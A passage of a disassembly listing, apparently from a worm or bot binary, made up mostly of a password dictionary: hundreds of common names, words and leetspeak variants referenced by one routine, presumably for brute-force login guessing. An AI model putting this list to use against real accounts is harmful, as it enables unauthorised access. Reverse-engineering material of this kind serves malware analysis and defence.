		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
; ---------------------------------------------------------------------------
		mov	esp, 640042BAh
		jmp	short loc_42A901
; ---------------------------------------------------------------------------
		align 10h
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		db 10h
; ---------------------------------------------------------------------------


loc_42A901:				; CODE XREF: ___:0042A8BDj
		mov	edx, 0BA080042h
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
; ---------------------------------------------------------------------------
		pop	esp
		jmp	short loc_42A9B9
; ---------------------------------------------------------------------------
		align 4
		sbb	[ecx-46EFFFBEh], bh
		inc	edx
		add	[eax], cl
		mov	ecx, 0B9000042h
		inc	edx
		add	al, bh
		mov	eax, 0B8F00042h
		inc	edx
		add	ah, ah
		mov	eax, 0B8DC0042h
		inc	edx
		add	al, dl
		mov	eax, 0B8C80042h
		inc	edx
		add	al, al
		mov	eax, 0B8B40042h
		inc	edx
		add	[eax-5FFFBD48h], ch
		mov	eax, 0B8980042h
		inc	edx
		add	[eax-7BFFBD48h], dl


loc_42A9B9:				; CODE XREF: ___:0042A975j
		mov	eax, 0B87C0042h
		inc	edx
		add	[eax+edi*4+42h], dh
		add	[eax-48h], ch
		inc	edx
		add	[eax-48h], ah
		inc	edx
		add	[eax-48h], bl
		inc	edx
		add	[eax-48h], dl
		inc	edx
		add	[eax-48h], cl
		inc	edx
		add	[eax-48h], al
		inc	edx
		add	[eax], bh
		mov	eax, 0B8300042h
		inc	edx
		add	[eax], ch
		mov	eax, 0B81C0042h
		inc	edx
		add	[eax+edi*4], dl
		inc	edx
		add	[eax], cl
		mov	eax, 0B7FC0042h
		inc	edx
		add	ah, dh
		mov	bh, 42h
		add	ah, ch
		mov	bh, 42h
		add	ah, ah
		mov	bh, 42h
		add	ah, bl
		mov	bh, 42h
		add	ah, dl
		mov	bh, 42h
		add	ah, cl
		mov	bh, 42h
		add	al, al
		mov	bh, 42h
		add	[eax-53FFBD49h], bh
		mov	bh, 42h
		add	[edi+esi*4-4863FFBEh], ah
		inc	edx
		add	[edi+esi*4-4873FFBEh], dl
		inc	edx
		add	[edi+esi*4-4887FFBEh], al
		inc	edx
		add	[eax-49h], dh
		inc	edx
		add	[eax-49h], ch
		inc	edx
		add	[eax-49h], ah
		inc	edx
		add	[eax-49h], bl
		inc	edx
		add	[eax-49h], dl
		inc	edx
		add	[eax-49h], cl
		inc	edx
		add	[eax-49h], al
		inc	edx
		add	[eax], bh
		mov	bh, 42h
		add	[eax], dh
		mov	bh, 42h
		add	[eax], ch
		mov	bh, 42h
		add	[eax], ah
		mov	bh, 42h
		add	[eax], bl
		mov	bh, 42h
		add	[eax], dl
		mov	bh, 42h
		add	[eax], cl
		mov	bh, 42h
		add	ah, bh
		mov	dh, 42h
		add	al, dh
		mov	dh, 42h
		add	ah, ah
		mov	dh, 42h
		add	ah, bl
		mov	dh, 42h
		add	ah, dl
		mov	dh, 42h
		add	ah, cl
		mov	dh, 42h
		add	ah, al
		mov	dh, 42h
		add	[esi+esi*4-494BFFBEh], bh
		inc	edx
		add	[esi+esi*4-495FFFBEh], ch
		inc	edx
		add	[esi+esi*4-4973FFBEh], dl
		inc	edx
		add	[esi+esi*4-4983FFBEh], al
		inc	edx
		add	[esi+esi*4+42h], dh
		add	[esi+esi*4+42h], ch
		add	[esi+esi*4+42h], ah
		add	[esi+esi*4+42h], bl
		add	[esi+esi*4+42h], dl
		add	[esi+esi*4+42h], cl
		add	[eax-4Ah], al
		inc	edx
		add	[eax], bh
		mov	dh, 42h
		add	[eax], dh
		mov	dh, 42h
		add	[eax], ch
		mov	dh, 42h
		add	[eax], ah
		mov	dh, 42h
		add	[esi+esi*4], dl
		inc	edx
		add	[esi+esi*4], cl
		inc	edx
		add	[esi+esi*4], al
		inc	edx
		add	al, bh
		mov	ch, 42h
		add	al, dh
		mov	ch, 42h
		add	al, ch
		mov	ch, 42h
		add	al, ah
		mov	ch, 42h
		add	ah, dl
		mov	ch, 42h
		add	ah, cl
		mov	ch, 42h
		add	ah, al
		mov	ch, 42h
		add	[ebp+esi*4-4A4BFFBEh], bh
		inc	edx
		add	[ebp+esi*4-4A5FFFBEh], ch
		inc	edx
		add	[eax-6FFFBD4Bh], bl
		mov	ch, 42h
		add	[eax+7C0042B5h], cl
		mov	ch, 42h
		add	[ebp+esi*4+42h], dh
		add	[ebp+esi*4+42h], ch
		add	[ebp+esi*4+42h], ah
		add	[eax-4Bh], bl
		inc	edx
		add	[eax-4Bh], dl
		inc	edx
		add	[eax-4Bh], cl
		inc	edx
		add	[eax-4Bh], al
		inc	edx
		add	[eax], bh
		mov	ch, 42h
		add	[eax], dh
		mov	ch, 42h
		add	ds:0B51C0042h[esi*4], ah
		inc	edx
		add	ds:0B5080042h[esi*4], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_4429D8
		dd 0
dword_42AE54	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:0042AE48o
		align 4
aZap		db 'zap',0              ; DATA XREF: ___:0042AE44o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:0042AE40o
aXyz		db 'xyz',0              ; DATA XREF: ___:0042AE3Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:0042AE38o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:0042AE34o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: ___:0042AE30o
		align 10h
aTty		db 'tty',0              ; DATA XREF: ___:0042AE2Co
aTopography	db 'topography',0       ; DATA XREF: ___:0042AE28o
		align 10h
aTemptation	db 'temptation',0       ; DATA XREF: ___:0042AE24o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: ___:0042AE20o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:0042AE1Co
		align 4
aSys		db 'sys',0              ; DATA XREF: ___:0042AE18o
aSupported	db 'supported',0        ; DATA XREF: ___:0042AE14o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: ___:0042AE10o
		align 10h
aSuperstage	db 'superstage',0       ; DATA XREF: ___:0042AE0Co
		align 4
aSun		db 'sun',0              ; DATA XREF: ___:0042AE08o
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:0042AE04o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: ___:0042AE00o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:0042ADFCo
		align 4
aSignature	db 'signature',0        ; DATA XREF: ___:0042ADF8o
		align 10h
aSheffield	db 'sheffield',0        ; DATA XREF: ___:0042ADF4o
		align 4
aSal		db 'sal',0              ; DATA XREF: ___:0042ADF0o
aRochester	db 'rochester',0        ; DATA XREF: ___:0042ADECo
		align 4
aRje		db 'rje',0              ; DATA XREF: ___:0042ADE8o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:0042ADE4o
		align 10h
aPub		db 'pub',0              ; DATA XREF: ___:0042ADE0o
aProfessor	db 'professor',0        ; DATA XREF: ___:0042ADDCo
		align 10h
aPrinceton	db 'princeton',0        ; DATA XREF: ___:0042ADD8o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: ___:0042ADD4o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:0042ADD0o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:0042ADCCo
		align 10h
aPercolate	db 'percolate',0        ; DATA XREF: ___:0042ADC8o
		align 4
aPam		db 'pam',0              ; DATA XREF: ___:0042ADC4o
aPad		db 'pad',0              ; DATA XREF: ___:0042ADC0o
aOceanography	db 'oceanography',0     ; DATA XREF: ___:0042ADBCo
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: ___:0042ADB8o
		align 10h
aNew		db 'new',0              ; DATA XREF: ___:0042ADB4o
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
					; ___:0042ADB0o
aMit		db 'mit',0              ; DATA XREF: ___:0042ADACo
aMgr		db 'mgr',0              ; DATA XREF: ___:0042ADA8o
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:0042ADA4o
		align 4
aLiz		db 'liz',0              ; DATA XREF: ___:0042ADA0o
aLee		db 'lee',0              ; DATA XREF: ___:0042AD9Co
aLamination	db 'lamination',0       ; DATA XREF: ___:0042AD98o
		align 10h
aKim		db 'kim',0              ; DATA XREF: ___:0042AD94o
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
					; ___:0042AD90o
aJoy		db 'joy',0              ; DATA XREF: ___:0042AD8Co
aJen		db 'jen',0              ; DATA XREF: ___:0042AD88o
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:0042AD84o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:0042AD80o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042AD7Co
aHappening	db 'happening',0        ; DATA XREF: ___:0042AD78o
		align 4
aHal		db 'hal',0              ; DATA XREF: ___:0042AD74o
aGnu		db 'gnu',0              ; DATA XREF: ___:0042AD70o
aFun		db 'fun',0              ; DATA XREF: ___:0042AD6Co
aForesight	db 'foresight',0        ; DATA XREF: ___:0042AD68o
		align 10h
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:0042AD64o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:0042AD60o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: ___:0042AD5Co
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:0042AD58o
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:0042AD54o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:0042AD50o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:0042AD4Co
		align 4
aDos		db 'dos',0              ; DATA XREF: ___:0042AD48o
aDog		db 'dog',0              ; DATA XREF: ___:0042AD44o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:0042AD40o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: ___:0042AD3Co
		align 4
aDeb		db 'deb',0              ; DATA XREF: ___:0042AD38o
aCornelius	db 'cornelius',0        ; DATA XREF: ___:0042AD34o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: ___:0042AD30o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: ___:0042AD2Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:0042AD28o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: ___:0042AD24o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: ___:0042AD20o
		align 10h
aCat		db 'cat',0              ; DATA XREF: ___:0042AD1Co
aCampanile	db 'campanile',0        ; DATA XREF: ___:0042AD18o
		align 10h
aCad		db 'cad',0              ; DATA XREF: ___:0042AD14o
aBsd		db 'bsd',0              ; DATA XREF: ___:0042AD10o
aBob		db 'bob',0              ; DATA XREF: ___:0042AD0Co
aBicameral	db 'bicameral',0        ; DATA XREF: ___:0042AD08o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:0042AD04o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:0042AD00o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: ___:0042ACFCo
aAsd		db 'asd',0              ; DATA XREF: ___:0042ACF8o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:0042ACF4o
		align 4
aAnn		db 'ann',0              ; DATA XREF: ___:0042ACF0o
aAndromache	db 'andromache',0       ; DATA XREF: ___:0042ACECo
		align 4
aAmy		db 'amy',0              ; DATA XREF: ___:0042ACE8o
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:0042ACE4o
		align 4
aAma		db 'ama',0              ; DATA XREF: ___:0042ACE0o
aAlf		db 'alf',0              ; DATA XREF: ___:0042ACDCo
aAlbatross	db 'albatross',0        ; DATA XREF: ___:0042ACD8o
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:0042ACD4o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:0042ACD0o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:0042ACCCo
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:0042ACC8o
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: ___:0042ACC4o
		align 4
aHax		db 'hax',0              ; DATA XREF: ___:0042ACC0o
aWh0re		db 'wh0re',0            ; DATA XREF: ___:0042ACBCo
		align 4
aHo		db 'ho',0               ; DATA XREF: ___:0042ACB8o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:0042ACB4o
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:0042ACB0o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:0042ACACo
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:0042ACA8o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:0042ACA4o
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:0042ACA0o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:0042AC9Co
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: ___:0042AC98o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:0042AC94o
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:0042AC90o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:0042AC8Co
		align 4
aMs		db 'MS',0               ; DATA XREF: ___:0042AC88o
		align 4
aM_0		db 'M$',0               ; DATA XREF: ___:0042AC84o
		align 10h
aBilly		db 'billy',0            ; DATA XREF: ___:0042AC80o
		align 4
aWindose	db 'windose',0          ; DATA XREF: ___:0042AC7Co
aWindoze	db 'windoze',0          ; DATA XREF: ___:0042AC78o
aWindowz	db 'windowz',0          ; DATA XREF: ___:0042AC74o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:0042AC70o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:0042AC6Co
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: ___:0042AC68o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: ___:0042AC64o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:0042AC60o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: ___:0042AC5Co
aD00d		db 'd00d',0             ; DATA XREF: ___:0042AC58o
		align 4
aLol		db 'lol',0              ; DATA XREF: ___:0042AC54o
					; ___:0043D958o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:0042AC50o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:0042AC4Co
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: ___:0042AC48o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: ___:0042AC44o
		align 10h
aTestin		db 'testin',0           ; DATA XREF: ___:0042AC40o
		align 4
aTester		db 'tester',0           ; DATA XREF: ___:0042AC3Co
		align 10h
a00000000	db '00000000',0         ; DATA XREF: ___:0042AC38o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:0042AC34o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: ___:0042AC30o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:0042AC2Co
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:0042AC28o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: ___:0042AC24o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:0042AC20o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: ___:0042AC1Co
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:0042AC18o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: ___:0042AC14o
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: ___:0042AC10o
aYellowst	db 'yellowst',0         ; DATA XREF: ___:0042AC0Co
		align 4
aYellow		db 'yellow',0           ; DATA XREF: ___:0042AC08o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:0042AC04o
		align 4
aYang		db 'yang',0             ; DATA XREF: ___:0042AC00o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:0042ABFCo
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:0042ABF8o
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:0042ABF4o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: ___:0042ABF0o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:0042ABECo
		align 4
aXman		db 'xman',0             ; DATA XREF: ___:0042ABE8o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:0042ABE4o
		align 4
aXena		db 'xena',0             ; DATA XREF: ___:0042ABE0o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:0042ABDCo
aWwii		db 'wwii',0             ; DATA XREF: ___:0042ABD8o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:0042ABD4o
		align 4
aWorm		db 'worm',0             ; DATA XREF: ___:0042ABD0o
		align 10h
aWork		db 'work',0             ; DATA XREF: ___:0042ABCCo
		align 4
aWorf		db 'worf',0             ; DATA XREF: ___:0042ABC8o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: ___:0042ABC4o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:0042ABC0o
